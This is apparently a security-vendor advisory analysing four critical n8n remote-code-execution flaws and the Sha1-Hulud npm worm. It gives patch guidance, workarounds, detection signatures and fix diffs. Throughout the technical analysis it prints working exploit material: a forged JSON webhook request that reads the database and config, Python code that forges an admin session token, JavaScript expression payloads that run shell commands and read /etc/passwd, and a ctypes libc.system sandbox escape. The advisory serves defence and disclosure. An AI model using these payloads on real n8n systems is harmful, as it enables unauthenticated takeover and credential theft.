Featured image of post Automation Under Siege (n8n) - Ni8mare
RSS - Threats All RSS Feeds Share

Automation Under Siege (n8n) - Ni8mare

A Baysec advisory with root-cause analysis of four critical n8n RCE flaws: Ni8mare (CVE-2026-21858, unauthenticated webhook takeover), Expression Injection (CVE-2025-68613, chained with Ni8mare for zero-click RCE), the Git-node file write (CVE-2026-21877), and N8scape (CVE-2025-68668, Pyodide sandbox escape), and the Sha1-Hulud npm supply-chain worm affecting n8n, with indicators and mitigations.

Table of Contents

  1. BLUF (Bottom Line Up Front)
  2. Executive Summary
  3. Key Findings
  4. Recommendations
  5. Mitigations
  6. Detection
  7. Timeline
  8. Vulnerability Inventory
  9. Technical Analysis
    1. Ni8mare (CVE-2026-21858) - unauthenticated webhook takeover
    2. Expression Injection (CVE-2025-68613) - authenticated RCE, the chain’s second half
    3. N8scape (CVE-2025-68668) - Pyodide sandbox escape
    4. Git Node RCE (CVE-2026-21877) - authenticated file write to code execution
    5. The Exploit Chain
  10. MITRE ATT&CK Mapping
  11. Supply Chain Attack: Sha1-Hulud
  12. Threat Activity
  13. References
  14. Public PoCs
  15. Baysec Vulnripper

BLUF (Bottom Line Up Front)

UPDATES since publication:

  • 11.03.2026 - CISA added CVE-2026-21858 (Ni8mare) to its Known Exploited Vulnerabilities (KEV) catalogue; US federal agencies were ordered to patch by 25.03.2026.
  • 27.02.2026 - Akamai reported CVE-2025-68613 (expression injection) exploited in the wild by the ZeroBot botnet (Akamai); the CVE was subsequently added to CISA KEV.

Upgrade n8n to 2.3.0+ (minimum 1.121.3). Four critical RCEs (CVSS 9.9-10.0) were disclosed in n8n in two months:

Ni8mare needs no credentials, and chained with expression injection it is zero-click unauthenticated RCE. If you cannot patch now: disable public webhook and form nodes, restrict who can create workflows, restrict network access, and treat stored credentials as exposed. Separately, audit npm dependencies for the Sha1-Hulud worm, which trojanized several n8n community node packages. Self-hosted deployments carry the risk; n8n Cloud users should consult n8n’s advisories for Cloud-specific impact.


Executive Summary

Between November 2025 and January 2026, four vulnerabilities scored CVSS 9.9-10.0 were disclosed in n8n, each turning a platform feature - webhooks, expressions, the Git node, the Python node - into command execution:

  • Ni8mare (CVE-2026-21858) - a Content-Type confusion in the webhook handler that lets an unauthenticated attacker read arbitrary files, recover the admin credentials and signing secret from the database, forge an admin session, and run commands.
  • Expression Injection (CVE-2025-68613) - a {{ }} workflow expression that reaches the Node.js process object and executes code.
  • N8scape (CVE-2025-68668) - the Python Code Node runs on Pyodide, and Python’s own ctypes module reaches the host’s C library directly, sidestepping every JavaScript-focused block n8n put in place.
  • Git Node file write (CVE-2026-21877) - an authenticated user writes arbitrary files through the Git node and reaches code execution.

Ni8mare removes the authentication precondition the other three need: its file read yields the signing secret, the secret forges an admin session, and the session unlocks the authenticated RCEs. Chained with expression injection, it becomes a single zero-click unauthenticated RCE.

n8n stores API keys, OAuth tokens, database credentials, and cloud access keys for every system it automates, so a compromised instance is a direct path into connected services and lateral movement. Through the Baysec CTI Platform we identified 16 n8n CVEs affecting current deployments, five of them CVSS 9.1-10.0. Running in parallel, the Sha1-Hulud npm worm trojanized several n8n community node packages, harvesting credentials and self-propagating through GitHub.

As of publication: roughly 100,000 exposed instances (Censys, December 2025), public exploit code within two days of disclosure, and active scanning of exposed instances.

Immediate action: Upgrade to n8n 2.3.0+ (minimum 1.121.3). Self-hosted deployments carry the risk; n8n Cloud users should consult n8n’s advisories for Cloud-specific impact.


Key Findings

  • Unauthenticated takeover: Ni8mare (CVE-2026-21858) needs no credentials - arbitrary file read leads to a forged admin session and command execution.
  • Zero-click chain: Ni8mare plus expression injection (CVE-2025-68613) removes the authentication barrier; the two chain into one unauthenticated exploit.
  • Rapid weaponization: a public unauthenticated RCE chain PoC appeared within two days of disclosure (08.01.2026).
  • Four critical RCEs in two months: unauthenticated webhook takeover (Ni8mare), expression injection, Git-node file write, and N8scape - all CVSS 9.9-10.0.
  • Massive exposure: Censys counted 103,476 potentially vulnerable instances (22.12.2025); Shodan showed 71,118 with the n8n banner.
  • Supply chain: the Sha1-Hulud npm worm trojanized multiple n8n-nodes-* packages, stealing credentials and propagating via GitHub Actions.

Recommendations

  1. Inventory all n8n instances including development, staging, production, and test environments.
  2. Patch by exposure and sensitivity. Minimum 1.121.3 (Ni8mare and the Git-node write); recommended 2.3.0+ (also fixes the legacy Code-node escape; this is the release that removes Pyodide from the codebase entirely).
  3. Restrict who can create and edit workflows. The three authenticated RCEs need only a low-privileged workflow account.
  4. Audit npm dependencies for the Sha1-Hulud worm; remove any trojanized n8n-nodes-* packages (see Supply Chain Attack: Sha1-Hulud).
  5. Rotate credentials stored in n8n - API keys, OAuth tokens, database credentials, cloud access keys.
  6. Assume compromise on any internet-exposed, unpatched instance.
  7. Automate future patching. Subscribe to n8n security advisories and enable Renovate or Dependabot so security releases land quickly.

Mitigations

Prioritise patching over detection: Ni8mare exploitation happens in HTTP request bodies, which most n8n deployments have no way to inspect (see Detection below).

Patching

VulnerabilityMinimum Safe VersionRecommended
CVE-2026-21858 (Ni8mare)1.121.02.3.0+
CVE-2026-21877 (Git node)1.121.32.3.0+
CVE-2025-68613 (Expression injection)1.120.4 / 1.121.1 / 1.122.02.3.0+
CVE-2025-68668 (N8scape)2.0.0 (task-runner default)2.3.0+ (Pyodide removed)
CVE-2025-68697 (Legacy Code node)2.0.02.3.0+

1.121.x patches the unauthenticated Ni8mare vulnerability, but not CVE-2025-68668 (Pyodide) or CVE-2025-68697 (legacy Code node). 2.0.0 makes the task-runner Python implementation the default, which stops new workflows from touching Pyodide, but the vulnerable Pyodide code - and the ctypes path through it - stays in the codebase until 2.3.0, which removes it entirely.

Temporary Workarounds

If patching must wait, disable the affected nodes with NODES_EXCLUDE:

1
2
3
4
5
6
7
8
# Unauthenticated RCE via webhook/form (CVE-2026-21858)
NODES_EXCLUDE='["n8n-nodes-base.webhook","n8n-nodes-base.formTrigger","n8n-nodes-base.form","@n8n/n8n-nodes-langchain.chatTrigger"]'

# Git-node file write (CVE-2026-21877)
NODES_EXCLUDE='["n8n-nodes-base.git"]'

# N8scape - Python Code Node (CVE-2025-68668)
NODES_EXCLUDE='["n8n-nodes-base.code"]'

Expression injection (CVE-2025-68613) has no clean node-exclusion workaround: the payload rides in any node’s string field - a Set node is enough, as The Exploit Chain shows - not just the Code or Execute Command nodes. Restricting who can create and edit workflows is the only pre-patch mitigation that closes it, and it also limits exposure from the workarounds above. Apply NODES_EXCLUDE where your deployment reads environment config (environment: in docker-compose.yml, Environment= in the systemd unit, or .env for a direct install), then restart n8n.

Configuration Hardening

On 2.0.0-2.2.x, forcing the native runner via the flags below routes around Pyodide entirely, closing CVE-2025-68668 even before upgrading to 2.3.0. On 2.3.0+ these are already the default; keep them enabled and restrict file access:

1
2
3
4
N8N_RUNNERS_ENABLED=true
N8N_NATIVE_PYTHON_RUNNER=true
N8N_RESTRICT_FILE_ACCESS_TO="/allowed/path"
N8N_BLOCK_FILE_ACCESS_TO_N8N_FILES=true

Detection

Ni8mare exploitation is visible only in the request body, so it needs inline inspection or request-body logging - standard access logs, which record only the URL and status code, will not show it.

The request body has the exact shape shown in Ni8mare: JSON instead of multipart, with a files object whose values carry an attacker-controlled filepath.

A signature can match on: Content-Type: application/json on a form/webhook route (which normally expects multipart/form-data), combined with a JSON body containing a files object whose values have a filepath key. The specific paths worth alerting on are /proc/self/environ (recon step), .n8n/config, .n8n/database.sqlite, and any ../ traversal.

A successful read shows up as an unusually large response body from a form/webhook endpoint (the recon flow above reads database.sqlite in full, commonly hundreds of kilobytes to megabytes), or as a response containing the raw bytes SQLite format 3 - the file-format magic header, which does not otherwise appear in a form response.

Once a session is forged or held, the RCE trigger follows the same REST API sequence shown in The Exploit Chain: workflow creation, execution, and cleanup within seconds. Watch for that pattern from an account with no prior activity, alongside child processes spawned by the n8n service (ps aux showing sh, bash, or unexpected binaries as children) and outbound connections the n8n host does not normally make.

n8n stores every workflow’s node configuration as JSON in the workflow_entity table of database.sqlite, so a retrospective hunt for the three bypass shapes documented in Expression Injection is a single query against that table, independent of whether the workflow has run yet:

1
2
3
4
SELECT id, name FROM workflow_entity
WHERE nodes LIKE '%mainModule.require%'
   OR nodes LIKE '%constructor.constructor%'
   OR nodes LIKE '%global.process%';

Timeline

DateEventSource
2025-11-09Dor Attias (Cyera) reports Ni8mare to n8nCyera
2025-11-18n8n releases 1.121.0, patching CVE-2026-21858GitHub Release
2025-11-24Sha1-Hulud 2.0 npm worm campaign begins, compromising n8n packagesMicrosoft
2025-12-19CVE-2025-68613 disclosed (expression injection RCE)CIRCL
2025-12-22Censys reports 103,476 exposed n8n instancesCensys
2025-12-26Three critical CVEs disclosed (CVE-2025-68668, CVE-2025-68697, CVE-2025-61914)GitHub Advisories
2026-01-05n8n 2.3.0 released, removing Pyodide entirely and closing CVE-2025-68668GitHub Release
2026-01-06CVE-2026-21858 assigned; Canadian Cyber Centre advisory AV26-004 publishedCCCS
2026-01-08Public unauthenticated RCE chain PoC published; scanning activity risesPoC

Vulnerability Inventory

Vulnerability intelligence via the Baysec Platform identified 16 n8n CVEs affecting current deployments.

CVE IDCVSSSeverityPublishedPatchImpact
CVE-2026-2185810.0CRITICAL2026-01-071.121.0Unauthenticated file read to admin bypass to RCE
CVE-2026-218779.9CRITICAL2026-01-071.121.3Authenticated arbitrary file write to RCE
CVE-2025-686689.9CRITICAL2025-12-262.3.0N8scape - Pyodide sandbox escape in Python Code Node
CVE-2025-686139.9CRITICAL2025-12-191.120.4+Expression injection RCE
CVE-2025-555269.1CRITICAL2025-08-26-Directory traversal in download_workflow
CVE-2025-659648.8HIGH2025-12-081.119.2RCE via Git pre-commit hooks
CVE-2025-627268.8HIGH2025-10-301.113.0Git Node RCE via malicious pre-commit hooks
CVE-2025-562658.8HIGH2025-09-08-Arbitrary file upload in Chat Trigger
CVE-2025-524788.7HIGH2025-08-191.98.2Stored XSS in Form Trigger to account takeover
CVE-2025-619147.3HIGH2025-12-261.114.0Stored XSS in “Respond to Webhook” node
CVE-2025-686977.1HIGH2025-12-262.0.0Legacy Code node arbitrary file read/write
CVE-2025-577496.5MEDIUM2025-08-201.106.0Symlink traversal in Read/Write File node
CVE-2025-581775.4MEDIUM2025-09-151.107.0Stored XSS in LangChain Chat Trigger
CVE-2025-463435.0MEDIUM2025-04-291.90.0Stored XSS via attachments view
CVE-2025-495954.9MEDIUM2025-07-031.99.0DoS via malformed binary-data URIs
CVE-2025-495924.6MEDIUM2025-06-261.98.0Open redirect in /signin endpoint

Technical Analysis

Each of the four critical RCEs is analysed below with its description, root cause, and recommendations. Patch targets and workarounds are consolidated in Mitigations.


Ni8mare (CVE-2026-21858)

DetailValue
TypeUnauthenticated RCE (no credentials)
CVSS 3.110.0 (Critical) - AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CWECWE-20: Improper Input Validation
AuthenticationNone
Fixed in1.121.0 (vulnerable 1.65.0 - 1.120.x)
AdvisoryGHSA-v4pr-fm98-w9pg
CISA KEVNot listed (as of 08.01.2026)
DiscoveryDor Attias, Cyera Research Labs

Description

Ni8mare is a Content-Type confusion. The server decides how to parse a request body from a header the attacker controls, and by sending a false value for that header the attacker reaches a file handler meant only for genuine uploads - turning a webhook into an arbitrary file read, and from there into admin takeover. No credentials are required.

Root Cause Analysis

When a request hits a webhook or form endpoint, n8n selects a body parser from the Content-Type header. It routes multipart/form-data to the Formidable upload parser and sends every other content type to the JSON/body parser. Formidable is the safe path: it streams each uploaded file to a randomly named temp file and hands the node a files object whose filepath points into that temp directory. A node that later reads files[...].filepath is therefore reading a path n8n chose, never one the client supplied.

The Form node’s prepareFormReturnItem() and the Webhook node’s handler both read that files object to locate uploads, but neither confirmed the request had actually been parsed as multipart. Send the request as JSON instead, with a body shaped to look like Formidable’s own output (this is the real body sent by the public Chocapikk exploit, which randomizes the file key and forges the upload metadata Formidable would normally attach):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /form/<form-path>
Content-Type: application/json

{
  "data": {},
  "files": {
    "f-x7q2mv": {
      "filepath": "/home/node/.n8n/database.sqlite",
      "originalFilename": "a1b2c3d4.bin",
      "mimetype": "application/octet-stream",
      "size": 42117
    }
  }
}

Now the JSON parser populates the body, Formidable never runs, and the filepath under that random key is whatever the attacker wrote. The node reads that path directly. Formidable’s random-temp-path protection is not defeated - it is simply skipped, because the code assumed only Formidable could ever populate files. The read runs as the n8n process, giving an unauthenticated attacker arbitrary file read.

database.sqlite and config live under n8n’s home directory, but that path is not always /home/node - it depends on how the instance was deployed. The same LFI primitive answers that question first: reading /proc/self/environ returns the process’s environment variables as a null-byte-separated blob, and parsing out the HOME= entry gives the base path for the next two reads. This is the actual recon order the public exploit follows:

  1. Read /proc/self/environ -> extract HOME.
  2. Read {HOME}/.n8n/config -> this JSON file contains encryptionKey, the instance-wide secret n8n uses to sign and encrypt sensitive data.
  3. Read {HOME}/.n8n/database.sqlite -> the full user table, including the global:owner (admin) row’s id, email, and password hash.

Those two files are enough to forge a login. In normal operation, a user submits their email and password, n8n checks the password against the stored hash, and on success issues a cookie named n8n-auth: a JWT identifying that user, signed with a secret derived from the instance’s encryptionKey. Every later request just presents that cookie - n8n verifies the signature, not the password, on each call. Whoever can compute a validly-signed n8n-auth JWT is authenticated as whichever user ID is inside it, password never checked again. The two file reads above hand an attacker everything needed to compute one: the signing secret (from config) and the target user’s ID, email, and password hash (from database.sqlite). Both the secret and the payload are derived values, not the raw database fields:

1
2
3
4
5
6
7
8
9
# secret: sha256 of every other character of the raw encryptionKey
secret = hashlib.sha256(encryption_key[::2].encode()).hexdigest()

# hash claim: base64(sha256("email:password_hash")), truncated to 10 chars
# password_hash is the stored hash from the database, colon-joined with email
h = base64.b64encode(hashlib.sha256(f"{email}:{password_hash}".encode()).digest()).decode()[:10]

# the forged cookie is a signed JWT with these two claims
token = jwt.encode({"id": user_id, "hash": h}, secret, algorithm="HS256")

Sent back as the cookie n8n-auth, that token authenticates as the global:owner account - full admin, forged entirely from the file-read primitive above, with no password ever guessed or cracked.

From there, the forged session reaches RCE through the Expression Injection bug below: create a two-node workflow (a trigger feeding a plain Set node whose string value is the malicious {{ }} expression), run it via the REST API, read the output from the execution record. Same primitive as that section, now reachable with zero credentials.

n8n’s fix, 1.121.0 (commit c8d604d), adds the same one-line assertion everywhere a node reads files off the request: the Form node, the Webhook node, and the LangChain Chat Trigger:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
diff --git a/packages/nodes-base/nodes/Form/utils/utils.ts b/packages/nodes-base/nodes/Form/utils/utils.ts
index 95accf4ff569..b7b70d0a8bf9 100644
--- a/packages/nodes-base/nodes/Form/utils/utils.ts
+++ b/packages/nodes-base/nodes/Form/utils/utils.ts
@@ -1,5 +1,6 @@
 import type { Response } from 'express';
 import isbot from 'isbot';
+import * as a from 'node:assert';
 import { DateTime } from 'luxon';
 import type {
 	INodeExecutionData,
@@ -352,6 +353,8 @@ export async function prepareFormReturnItem(
 	mode: 'test' | 'production',
 	useWorkflowTimezone: boolean = false,
 ) {
+	const req = context.getRequestObject() as MultiPartFormData.Request;
+	a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
 	const bodyData = (context.getBodyData().data as IDataObject) ?? {};
 	const files = (context.getBodyData().files as IDataObject) ?? {};
 
diff --git a/packages/nodes-base/nodes/Webhook/Webhook.node.ts b/packages/nodes-base/nodes/Webhook/Webhook.node.ts
index 1f5040a4b2de..31679ec0834e 100644
--- a/packages/nodes-base/nodes/Webhook/Webhook.node.ts
+++ b/packages/nodes-base/nodes/Webhook/Webhook.node.ts
@@ -12,6 +12,7 @@ import type {
 	INodeProperties,
 } from 'n8n-workflow';
 import { BINARY_ENCODING, NodeOperationError, Node } from 'n8n-workflow';
+import * as a from 'node:assert';
 import { pipeline } from 'stream/promises';
 import { file as tmpFile } from 'tmp-promise';
 import { v4 as uuid } from 'uuid';
@@ -316,6 +317,7 @@ export class Webhook extends Node {
 		prepareOutput: (data: INodeExecutionData) => INodeExecutionData[][],
 	) {
 		const req = context.getRequestObject() as MultiPartFormData.Request;
+		a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
 		const options = context.getNodeParameter('options', {}) as IDataObject;
 		const { data, files } = req.body;
 
diff --git a/packages/@n8n/nodes-langchain/nodes/trigger/ChatTrigger/ChatTrigger.node.ts b/packages/@n8n/nodes-langchain/nodes/trigger/ChatTrigger/ChatTrigger.node.ts
index 3f6a075a8298..d2700efeebe0 100644
--- a/packages/@n8n/nodes-langchain/nodes/trigger/ChatTrigger/ChatTrigger.node.ts
+++ b/packages/@n8n/nodes-langchain/nodes/trigger/ChatTrigger/ChatTrigger.node.ts
@@ -18,6 +18,7 @@ import type {
 	IBinaryData,
 	INodeProperties,
 } from 'n8n-workflow';
+import * as a from 'node:assert';
 
 import { cssVariables } from './constants';
 import { validateAuth } from './GenericFunctions';
@@ -566,6 +567,7 @@ export class ChatTrigger extends Node {
 
 	private async handleFormData(context: IWebhookFunctions) {
 		const req = context.getRequestObject() as MultiPartFormData.Request;
+		a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
 		const options = context.getNodeParameter('options', {}) as IDataObject;
 		const { data, files } = req.body;
 

The check is identical at all three call sites: files cannot be trusted unless req.contentType confirms the request was actually parsed as multipart. If it did not arrive that way, files cannot have come from Formidable, and the assertion throws before any path is used.

Recommendations

  • Patch to 1.121.0+ (2.3.0+ recommended).
  • Until patched, disable the webhook and form nodes (see Mitigations).

Expression Injection (CVE-2025-68613)

DetailValue
TypeAuthenticated RCE
CVSS 3.19.9 (Critical) - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS8.42% (92nd percentile)
CWECWE-94: Code Injection
AuthenticationRequired (low privilege)
Fixed in1.120.4 / 1.121.1 / 1.122.0 (vulnerable 0.211.0 onward; 1.121.0 was a regression)
AdvisoryGHSA-v98v-ff95-f3cp
ExploitationPublic PoC (chained with Ni8mare)
DiscoveryReported via GitHub security advisory

Description

Expression injection lets an authenticated, low-privileged user escape n8n’s expression sandbox and run commands as the n8n process. It is the second half of the zero-click chain with Ni8mare: paired with it, an unauthenticated attacker reaches command execution.

Root Cause Analysis

Any workflow field can hold a {{ }} expression - a snippet of JavaScript that runs on the server when the workflow executes. n8n does not run that snippet in an isolated VM; it parses the expression into an AST and walks it with sanitizer hooks from the @n8n/tournament library before evaluation. One of those hooks, PrototypeSanitizer, checks every static property access against a blocklist:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
const unsafeObjectProperties = new Set(['__proto__', 'prototype', 'constructor', 'getPrototypeOf']);

/**
 * Checks if a property key is safe to use on an object, preventing prototype pollution.
 * setting untrusted properties can alter the object's prototype chain and introduce vulnerabilities.
 *
 * @see setSafeObjectProperty
 */
export function isSafeObjectProperty(property: string) {
	return !unsafeObjectProperties.has(property);
}

The blocklist holds only four names, because the sanitizer’s job is narrower than blocking dangerous code: it exists to stop prototype pollution on the workflow’s own data objects ($json, $input, and similar). process was never on that list, since blocking it was never what this check was built for.

The this keyword reaches straight through that gap. In JavaScript, a function expression - unlike an arrow function - gets its own this binding, decided by how the function is called. Call a plain function without an explicit receiver, and this binds to the global object. In Node.js, the global object exposes process, and process exposes process.mainModule.require - an unrestricted require(). this.process is a property access like any other the sanitizer inspects, but isSafeObjectProperty('process') returns true, so it passes straight through:

1
2
3
4
5
{{ (function() {
     var require = this.process.mainModule.require;
     var execSync = require("child_process").execSync;
     return execSync("id").toString();
   })() }}

This is the exact payload the public Chocapikk proof of concept uses. Two other bypass shapes reach the same place through property names the blocklist also never covered - the constructor chain, or the global object directly:

1
2
this.constructor.constructor('return process')().mainModule.require('child_process')
global.process.mainModule.require('fs').readFileSync('/etc/passwd')

n8n’s fix, 1.121.1 (commit 08f3320), does not extend the blocklist with process - that would only repeat the same four-name pattern one name larger, and leave constructor and global open for whatever unlisted property comes next. It adds a new AST hook, FunctionThisSanitizer, that closes the mechanism this uses to reach the global object at all: it walks the parsed expression before evaluation and rewrites every function expression so its this is bound to a fixed empty object at the call site, using .call for IIFEs and .bind for callbacks:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
diff --git a/packages/workflow/src/expression-sandboxing.ts b/packages/workflow/src/expression-sandboxing.ts
index b4dff848c6d5..0196702c214a 100644
--- a/packages/workflow/src/expression-sandboxing.ts
+++ b/packages/workflow/src/expression-sandboxing.ts
@@ -1,4 +1,4 @@
-import { type ASTAfterHook, astBuilders as b, astVisit } from '@n8n/tournament';
+import { type ASTAfterHook, type ASTBeforeHook, astBuilders as b, astVisit } from '@n8n/tournament';
 
 import { ExpressionError } from './errors';
 import { isSafeObjectProperty } from './utils';
@@ -8,6 +8,10 @@ const sanitizerIdentifier = b.identifier(sanitizerName);
 
 export const DOLLAR_SIGN_ERROR = 'Cannot access "$" without calling it as a function';
 
+const EMPTY_CONTEXT = b.objectExpression([
+	b.property('init', b.identifier('process'), b.objectExpression([])),
+]);
+
 /**
  * Helper to check if an expression is a valid property access with $ as the property.
  * Returns true for obj.$ or obj.nested.$ but false for bare $ or other expression contexts.
@@ -49,6 +53,69 @@ const isValidDollarPropertyAccess = (expr: unknown): boolean => {
 	return isPropertyDollar && !isObjectDollar && isObjectValid;
 };
 
+/**
+ * Prevents regular functions from binding their `this` to the Node.js global.
+ */
+export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
+	astVisit(ast, {
+		visitCallExpression(path) {
+			const { node } = path;
+
+			if (node.callee.type !== 'FunctionExpression') {
+				this.traverse(path);
+				return;
+			}
+
+			const fnExpression = node.callee;
+
+			/**
+			 * Called function expressions (IIFEs) - both anonymous and named:
+			 *
+			 * ```js
+			 * (function(x) { return x * 2; })(5)
+			 * (function factorial(n) { return n <= 1 ? 1 : n * factorial(n-1); })(5)
+			 *
+			 * // become
+			 *
+			 * (function(x) { return x * 2; }).call({ process: {} }, 5)
+			 * (function factorial(n) { return n <= 1 ? 1 : n * factorial(n-1); }).call({ process: {} }, 5)
+			 * ```
+			 */
+			this.traverse(path); // depth first to transform inside out
+			const callExpression = b.callExpression(
+				b.memberExpression(fnExpression, b.identifier('call')),
+				[EMPTY_CONTEXT, ...node.arguments],
+			);
+			path.replace(callExpression);
+			return false;
+		},
+
+		visitFunctionExpression(path) {
+			const { node } = path;
+
+			/**
+			 * Callable function expressions (callbacks) - both anonymous and named:
+			 *
+			 * ```js
+			 * [1, 2, 3].map(function(n) { return n * 2; })
+			 * [1, 2, 3].map(function factorial(n) { return n <= 1 ? 1 : n * factorial(n-1); })
+			 *
+			 * // become
+			 *
+			 * [1, 2, 3].map((function(n) { return n * 2; }).bind({ process: {} }))
+			 * [1, 2, 3].map((function factorial(n) { return n <= 1 ? 1 : n * factorial(n-1); }).bind({ process: {} }))
+			 * ```
+			 */
+			this.traverse(path);
+			const boundFunction = b.callExpression(b.memberExpression(node, b.identifier('bind')), [
+				EMPTY_CONTEXT,
+			]);
+			path.replace(boundFunction);
+			return false;
+		},
+	});
+};
+
 /**
  * Validates that the $ identifier is only used in allowed contexts.
  * This prevents user errors like `{{ $ }}` which would return the function object itself.

EMPTY_CONTEXT is itself built as an AST node - b.objectExpression(...) constructs the tree for { process: {} } - because the sanitizer rewrites source before evaluation, not a runtime value. After the rewrite, every function expression’s this is that empty object at the moment it runs, so this.process resolves to {} instead of the Node global. Arrow functions were never touched - they already take this lexically from the surrounding scope, not from the call site.

Recommendations

  • Patch to 1.120.4 / 1.121.1 / 1.122.0 or later (2.3.0+ recommended). Prioritise this CVE - it is the authenticated half of the unauthenticated chain.
  • Until patched, disable the Code and Execute Command nodes (see Mitigations).

N8scape (CVE-2025-68668)

DetailValue
TypeAuthenticated RCE (Pyodide sandbox escape)
CVSS 3.19.9 (Critical) - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
CWECWE-693: Protection Mechanism Failure
AuthenticationRequired (low privilege)
Fixed inNative task-runner Python made default in 2.0.0; Pyodide itself removed in 2.3.0 (vulnerable in all versions with the Python Code Node before removal)
AdvisoryGHSA-62r4-hw23-cc8v
DiscoveryVladimir Tokarev, Ofek Itach, Cyera Research Labs

Description

An authenticated, low-privileged user runs Python in the Code node that reaches the host’s C library directly through Python’s own ctypes foreign-function interface, and executes arbitrary system commands with the n8n process’s privileges. The other three bugs in this advisory exploit JavaScript semantics; this one stays entirely inside Python and never touches n8n’s js-module hardening at all.

Root Cause Analysis

n8n runs user Python on Pyodide - CPython compiled to WebAssembly - loaded inside a Node.js vm context. The JavaScript objects Python can see through Pyodide’s js module are deliberately curated to six:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
const context = createContext({
  loadPyodide,
  indexURL,
  packageCacheDir,
  jsglobals: {
    console,
    fetch,
    AbortController,
    AbortSignal,
    Object,
    XMLHttpRequest,
  },
});

That allowlist does not include require, process, or child_process. On top of it, a Python bootstrap script runs once at load time, before any workflow’s own code executes, adding three more blocks:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os

def blocked_function(*args, **kwargs):
    raise RuntimeError("Blocked for security reasons")

os.system = blocked_function

from importlib.abc import MetaPathFinder
from importlib.machinery import ModuleSpec
from types import ModuleType
from typing import Sequence, Optional

from _pyodide_core import jsproxy_typedict
from js import Object

Object.constructor.constructor = blocked_function

import sys
class blocked_module:
    def __getattr__(self, name):
        blocked_function()

sys.modules['js'] = blocked_module()

The script disables os.system. It also disables Object.constructor.constructor specifically on Object - a well-known JavaScript sandbox-escape technique, walking any object’s .constructor.constructor to reach the Function constructor and run arbitrary JS - and replaces the js module itself with a stub that raises on any attribute access, closing the interop bridge for anything imported after this point runs. The commit history on this one file, packages/nodes-base/nodes/Code/Pyodide.ts, shows the n8n team adding each defense only after a prior one turned out to be incomplete.

DateChange
April 2025Pyodide sandboxed for the first time
June 2025Selected module imports blocked
July 2025os.system blocked
July 2025Object.constructor.constructor and the js module blocked (code above)
December 2025Pyodide removed from n8n entirely

Each patch closed one specific, named path. The underlying capability - running native code from inside the Python interpreter - stayed open, because none of the patches touched the path that actually got used. Python’s standard library ships with ctypes, a foreign-function interface for calling C functions directly, and Pyodide’s WebAssembly build includes it. ctypes never imports the js module, never touches Object.constructor, never calls os.system - it reaches the same destination without needing any of the three blocked doors:

1
2
3
import ctypes
libc = ctypes.CDLL(None)
libc.system(b'id')

ctypes.CDLL(None) opens a handle to the current process’s own C runtime - passing None as the library name means “the symbols already linked into this process,” which includes libc. From that handle, libc.system(b'...') calls the real, native system(3) function directly: a Python-to-C function call, no JavaScript object graph involved anywhere in it. The first public write-up of this technique (gelusus/wxvl, 09.01.2026) reported that fork() and execl() from the same library got intercepted during testing, but system() worked, and verified it running inside an actual Code Node:

1
2
3
4
5
6
7
8
9
import ctypes
import os
libc = ctypes.CDLL(None)
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
result = libc.system(b'echo "mht CVE-2025-68668" > /tmp/test.txt')
return {
    "vulnerability": "SUCCESS"
}

Two separate changes fixed this, on two separate timelines. n8n made the task-runner-based native Python implementation the default in 2.0.0 (08.12.2025) - new workflows stopped touching Pyodide from that point, cutting most exposure. But Pyodide itself, and the ctypes path through it, stayed in the codebase for another month: commit ea889bee, “Remove Pyodide,” shipped in 2.3.0 (05.01.2026) - three days after this CVE’s disclosure date - and removed it. Python execution now runs in a separate task-runner process with a native CPython interpreter, outside the n8n process, with no Pyodide left to carry ctypes, no shared memory space, no bridge to police object by object. An instance on 2.0.0-2.2.x had already moved new workflows to the safer default but was still running the vulnerable code for anything still configured to use it; only 2.3.0 removed the code itself. That is why 1.121.x, which closes Ni8mare and the Git-node write, does nothing here either way - 1.121.x patches a check; 2.3.0 removes the runtime the bug lived in.

A forged Ni8mare session reaches this bug the same way it reaches expression injection: create a workflow with a Python Code Node holding the ctypes payload above, run it via the REST API, read the output from the execution record. libc.system() runs synchronously inside the workflow execution, exactly like the Set-node expression payload does, so this bug substitutes directly for expression injection in the Ni8mare zero-click chain: it reaches command output in the same single execution, while the Git-node write only plants a file that needs a separate trigger to run. Ni8mare itself shuts at 1.121.0, so the pairing’s live window is the same one the primary Ni8mare-plus-expression-injection chain already has: anything before 1.121.0, well before either fix for this bug landed.

Recommendations

  • Patch to 2.3.0+ - that release removes Pyodide entirely. 2.0.0-2.2.x reduce exposure (task-runner is the default for new workflows) but still ship the vulnerable code.
  • On 2.0.0-2.2.x specifically, set N8N_RUNNERS_ENABLED=true and N8N_NATIVE_PYTHON_RUNNER=true to route Python execution away from Pyodide without waiting for 2.3.0.
  • Until patched, disable the Code node (see Mitigations).

Git Node RCE (CVE-2026-21877)

DetailValue
TypeAuthenticated file write to RCE
CVSS 3.19.9 (Critical) - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-434: Unrestricted Upload, CWE-94: Code Injection
AuthenticationRequired (low privilege)
Fixed in1.121.3 (vulnerable 0.123.0 - 1.121.2)
AdvisoryGHSA-v364-rw7m-3263
DiscoveryTheo Lelasseux

Description

An authenticated low-privileged user configures the Git node to clone a repository they control into an arbitrary location on the n8n host’s filesystem, and turns that write into code execution.

